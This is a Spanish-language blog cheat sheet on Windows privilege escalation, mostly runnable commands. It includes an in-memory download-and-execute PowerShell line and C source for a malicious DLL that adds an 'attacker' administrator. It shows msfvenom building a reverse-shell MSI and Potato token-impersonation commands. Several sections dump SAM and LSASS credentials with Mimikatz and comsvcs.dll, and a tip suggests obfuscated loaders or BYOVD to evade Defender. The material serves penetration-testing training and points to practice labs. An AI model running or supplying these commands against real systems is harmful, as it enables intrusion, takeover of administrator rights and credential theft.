La escalada de privilegios en Windows es una de las habilidades más críticas en seguridad ofensiva. Llegas a un servidor como usuario de bajo privilegio, y tu trabajo no está hecho hasta que tienes SYSTEM. Esta cheat sheet cubre cada técnica que realmente funciona en 2026 — con comandos reales, las herramientas correctas, y notas sobre qué versiones de Windows aplican a cada técnica.
Guárdala en favoritos. La vas a usar.
Por Qué la PrivEsc en Windows es Diferente a la de Linux
La escalada de privilegios en Linux tiene patrones: binarios SUID, configuraciones incorrectas de sudo, cron jobs escribibles, exploits de kernel. Limpio y predecible.
Windows es más complicado. La superficie de ataque es enorme — servicios, tokens, registro, objetos COM, tareas programadas, Active Directory, almacenes de credenciales. Windows también tiene un sistema de tokens de privilegios más rico, una arquitectura heredada con décadas de decisiones de compatibilidad con versiones anteriores, y entornos empresariales donde los administradores cometen errores a escala.
La ventaja: hay más caminos a SYSTEM en Windows. La desventaja: necesitas saber dónde buscar.
Paso Uno: Enumerar Todo
No adivines. Ejecuta primero tus herramientas de enumeración, lee la salida, luego elige tu ruta de ataque.
WinPEAS
El estándar de oro para enumeración automatizada de Windows.
# Descargar y ejecutar en memoria
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
# O ejecutar el .exe
.\winPEASx64.exe
.\winPEASx64.exe quiet
Descarga: https://github.com/peass-ng/PEASS-ng/releases
WinPEAS resalta los hallazgos en rojo/amarillo. Comienza por ahí.
Seatbelt
Enumeración enfocada en seguridad de GhostPack. Mejor para verificaciones específicas que para barridos amplios.
.\Seatbelt.exe -group=all
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe CredGuard
.\Seatbelt.exe WindowsDefender
PowerUp
Script de privesc de PowerSploit. Enfocado en configuraciones incorrectas de servicios y configs.
Import-Module .\PowerUp.ps1
Invoke-AllChecks
Comandos de Enumeración Manual
No dependas totalmente de las herramientas. Conoce el enfoque manual.
# Información del sistema
systeminfo
hostname
whoami /all
whoami /priv
# Red
ipconfig /all
netstat -ano
route print
# Usuarios y grupos
net user
net localgroup administrators
net localgroup
# Procesos y servicios en ejecución
tasklist /svc
sc query type= all state= all
wmic service list brief
# Software instalado
wmic product get name,version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
# Tareas programadas
schtasks /query /fo LIST /v
# Variables de entorno
set
Configuraciones Incorrectas de Servicios
Los servicios que se ejecutan como SYSTEM son objetivos atractivos. Si puedes controlar lo que ejecuta un servicio, obtienes SYSTEM.
Rutas de Servicio sin Comillas
Cuando la ruta del binario de un servicio contiene espacios y no está entre comillas, Windows intenta múltiples ubicaciones antes de encontrar el binario real. Si puedes escribir en un directorio intermedio, ganaste.
Enumerar rutas sin comillas:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
O con PowerUp:
Get-UnquotedService
Ruta vulnerable de ejemplo:
C:\Program Files\Vulnerable App\service.exe
Windows intentará:
C:\Program.exeC:\Program Files\Vulnerable.exeC:\Program Files\Vulnerable App\service.exe
Si puedes escribir en C:\Program Files\, coloca un Vulnerable.exe ahí y reinicia el servicio.
sc stop VulnerableService
sc start VulnerableService
Permisos Débiles de Servicio
Si tienes permisos de escritura en el binario del servicio, reemplázalo. Si tienes permisos de SERVICE_CHANGE_CONFIG, reconfigúralo para ejecutar tu binario.
# Verificar permisos con PowerUp
Get-ModifiableServiceFile
Get-ModifiableService
# Verificación manual con accesschk (Sysinternals)
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk.exe /accepteula -uwcqv "Everyone" *
Si tienes SERVICE_CHANGE_CONFIG:
sc config VulnService binpath= "C:\Windows\Temp\shell.exe"
sc stop VulnService
sc start VulnService
O usa PowerUp:
Invoke-ServiceAbuse -Name VulnService -UserName attacker -Password Password123
DLL Hijacking en Servicios
Los servicios que cargan DLLs desde directorios escribibles son vulnerables. Si puedes plantar una DLL maliciosa antes de que se encuentre la legítima, el servicio carga la tuya.
Encontrar candidatos para DLL hijacking:
# Usa Process Monitor (Procmon) — filtra por "NAME NOT FOUND" en cargas DLL
# O usa PowerUp
Find-PathDLLHijack
Crear una DLL maliciosa:
// malicious.c — compilar como DLL
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net localgroup administrators attacker /add");
}
return TRUE;
}
# Compilar con mingw
x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c
Planta la DLL y activa un reinicio del servicio.
Suplantación de Tokens y Ataques Potato
Los tokens de acceso de Windows representan el contexto de seguridad de un usuario. Si tienes ciertos privilegios de token, puedes suplantar a SYSTEM.
Los Privilegios Clave
SeImpersonatePrivilege — Suplantar a un cliente tras autenticación
SeAssignPrimaryTokenPrivilege — Reemplazar un token a nivel de proceso
SeCreateTokenPrivilege — Crear un token (raramente explotable directamente)
Verifica tus privilegios actuales:
whoami /priv
Estos privilegios los tienen comúnmente las cuentas de servicio — usuarios de IIS AppPool, cuentas de servicio de SQL Server, LocalService/NetworkService. Si comprometes uno, los ataques Potato generalmente son tu camino más rápido.
JuicyPotato
Funciona en Windows Server 2008 – 2019, Windows 7 – 10 (era pre-KB2999226 o donde DCOM es accesible).
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup administrators attacker /add" -t *
Puede que necesites especificar un CLSID para tu OS objetivo. Lista: https://github.com/ohpe/juicy-potato/tree/master/CLSID
PrintSpoofer
Objetivo: Windows 10, Server 2016/2019. Usa el truco de named pipe del Print Spooler.
.\PrintSpoofer.exe -i -c cmd
.\PrintSpoofer.exe -c "net localgroup administrators attacker /add"
GodPotato
El más utilizado actualmente para Windows Server 2012 – 2022, Windows 8 – 11. Compatibilidad más amplia que JuicyPotato o PrintSpoofer.
.\GodPotato.exe -cmd "net localgroup administrators attacker /add"
.\GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\whoami.txt"
Cuál Potato usar:
| OS Objetivo | Herramienta |
|---|---|
| Server 2008 / Win 7 | JuicyPotato |
| Server 2016/2019, Win 10 | PrintSpoofer o GodPotato |
| Server 2019/2022, Win 10/11 | GodPotato |
Ataques al Registro
El registro de Windows contiene configuraciones, credenciales y rutas de autorun. Múltiples vectores de privesc viven aquí.
AlwaysInstallElevated
Si ambas claves de registro están en 1, cualquier usuario puede instalar paquetes MSI con privilegios SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Si ambas retornan 0x1:
# Generar MSI malicioso en Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f msi -o malicious.msi
# Instalar en el objetivo
msiexec /quiet /qn /i malicious.msi
PowerUp lo automatiza:
Write-UserAddMSI
Credenciales Almacenadas en el Registro
Las credenciales a veces se almacenan en texto plano o débilmente ofuscadas en el registro.
# Credenciales de autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Sesiones guardadas de PuTTY
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
# Contraseñas VNC (cifradas con DES, trivialmente descifradas)
reg query HKCU\Software\RealVNC\WinVNC4 /v Password
Rutas de Autorun
Los programas configurados para ejecutarse al inicio pueden ejecutarse desde ubicaciones escribibles.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Si la ruta apunta a un directorio escribible, reemplaza o planta un binario. Espera a que un usuario privilegiado inicie sesión, o fuerza un reinicio si puedes.
Tareas Programadas
El Programador de tareas ejecuta tareas en contextos de usuario, administrador o SYSTEM. Los binarios o directorios de tareas escribibles son explotables.
Encontrar Binarios de Tareas Escribibles
schtasks /query /fo LIST /v | findstr /i "task name\|run as user\|task to run"
Luego verifica los permisos del binario de cada tarea:
.\accesschk.exe /accepteula -qvw "C:\path\to\task\binary.exe"
icacls "C:\path\to\task\binary.exe"
Si tu usuario actual puede escribir, reemplázalo:
copy malicious.exe "C:\path\to\task\binary.exe"
Espera a que la tarea se dispare, o actívala manualmente:
schtasks /run /tn "VulnerableTask"
Minería de Contraseñas
Las credenciales están por todas partes en un servidor Windows si sabes dónde buscar.
Volcado de SAM + SYSTEM
La base de datos SAM almacena hashes de contraseñas de cuentas locales. Necesitas SYSTEM para leerla — pero si ya tienes SYSTEM (o una shell de admin), puedes extraerlos y crackearlos.
# Guardar los hives
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Volcar en Kali con impacket
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
Bypass con Volume Shadow Copy (si SAM está bloqueado):
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
Volcado de LSASS
LSASS almacena credenciales en memoria — hashes NTLM, tickets Kerberos, a veces contraseñas en texto claro.
Mimikatz (clásico):
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::wdigest
lsadump::sam
Volcado remoto de LSASS (sin tocar disco):
.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
Pypykatz (alternativa Python, ejecutar en Kali):
pypykatz lsa minidump lsass.dmp
Volcado con comsvcs.dll (vivir de la tierra):
$lsass = Get-Process lsass | Select-Object -ExpandProperty Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass C:\Temp\lsass.dmp full
Nota: Windows Defender detecta la mayoría de estos. Usa loaders ofuscados o técnicas BYOVD en entornos reforzados.
Administrador de Credenciales de Windows
Credenciales del navegador almacenadas, contraseñas de red, credenciales genéricas.
cmdkey /list
Extraer con Mimikatz:
vault::cred
vault::list
Historial de PowerShell
Los usuarios escriben credenciales en las terminales. El historial permanece en disco.
# Usuario actual
Get-Content (Get-PSReadLineOption).HistorySavePath
# Todos los usuarios (si eres admin)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
También verifica:
# Configuración IIS (puede contener credenciales de apps)
type C:\inetpub\wwwroot\web.config
findstr /si password C:\inetpub\*.config
# Ubicaciones comunes de credenciales
findstr /si password C:\Users\*.txt
findstr /si password C:\Users\*.xml
findstr /si password C:\Users\*.ini
Vista Previa de PrivEsc en Active Directory
Si la máquina está unida a un dominio, el admin local puede ser solo el comienzo. Algunos accesos rápidos para escalada de dominio:
AS-REP Roasting — las cuentas sin preautenticación Kerberos requerida son vulnerables al crackeo de contraseñas offline.
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
Kerberoasting — cualquier usuario de dominio puede solicitar tickets de servicio para SPNs. Crackea el hash offline.
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
hashcat -m 13100 kerberoast.txt rockyou.txt
La cobertura completa de privesc en AD vendrá en un artículo dedicado — AS-REP, Kerberoasting, abuso de ACL, DCSync, tickets Golden/Silver y más.
Tabla de Referencia Rápida
| Técnica | Herramienta | Comando Clave | Funciona En |
|---|---|---|---|
| Ruta de servicio sin comillas | PowerUp | Get-UnquotedService | Todos |
| Permisos débiles de servicio | accesschk / PowerUp | Invoke-ServiceAbuse | Todos |
| DLL hijacking | Procmon / PowerUp | Find-PathDLLHijack | Todos |
| AlwaysInstallElevated | PowerUp / msfvenom | Write-UserAddMSI | Todos |
| JuicyPotato | JuicyPotato | JuicyPotato.exe -l 1337 -t * | Win 7 / Server 2008-2019 |
| PrintSpoofer | PrintSpoofer | PrintSpoofer.exe -i -c cmd | Win 10 / Server 2016-2019 |
| GodPotato | GodPotato | GodPotato.exe -cmd "..." | Win 8-11 / Server 2012-2022 |
| Volcado SAM | secretsdump / Mimikatz | sekurlsa::logonpasswords | Todos |
| Volcado LSASS | Mimikatz / comsvcs.dll | rundll32 comsvcs.dll, MiniDump | Todos |
| Creds AutoLogon | reg query | reg query Winlogon | Todos |
| Historial PS | PowerShell | Get-PSReadLineOption | Win 10+/PS 5+ |
| Secuestro de tarea programada | schtasks / accesschk | schtasks /run /tn ... | Todos |
| AS-REP Roasting | Impacket | GetNPUsers.py | Unido al dominio |
| Kerberoasting | Rubeus | Rubeus.exe kerberoast | Unido al dominio |
Entorno de Práctica
La mejor manera de aprender esto no es leyendo — es haciendo.
VPS dedicado para tu propio laboratorio:
- Vultr — Despliega una VM Windows Server por unos pocos dólares/hora. Levántala, configúrala mal intencionalmente, practica tus rutas de escalada, destrúyela cuando termines.
- DigitalOcean — Droplets Windows limpios con precios predecibles. Bueno para entornos de laboratorio persistentes.
Plataformas CTF con contenido de Windows PrivEsc:
- HackTheBox — Bounty , Jeeves , Nest , Resolute son excelentes
- TryHackMe — La sala Windows PrivEsc cubre la mayoría de estas técnicas en formato guiado
La diferencia entre alguien que lee esta cheat sheet y alguien que la usa es el tiempo práctico. Construye el laboratorio. Rómpelo repetidamente.
¿Necesitas Contenido de Red Team para tu Blog o Equipo de Seguridad?
CipherWrite entrega artículos de ciberseguridad escritos por red teamers en activo. Sin relleno — contenido técnico que realmente ayuda.
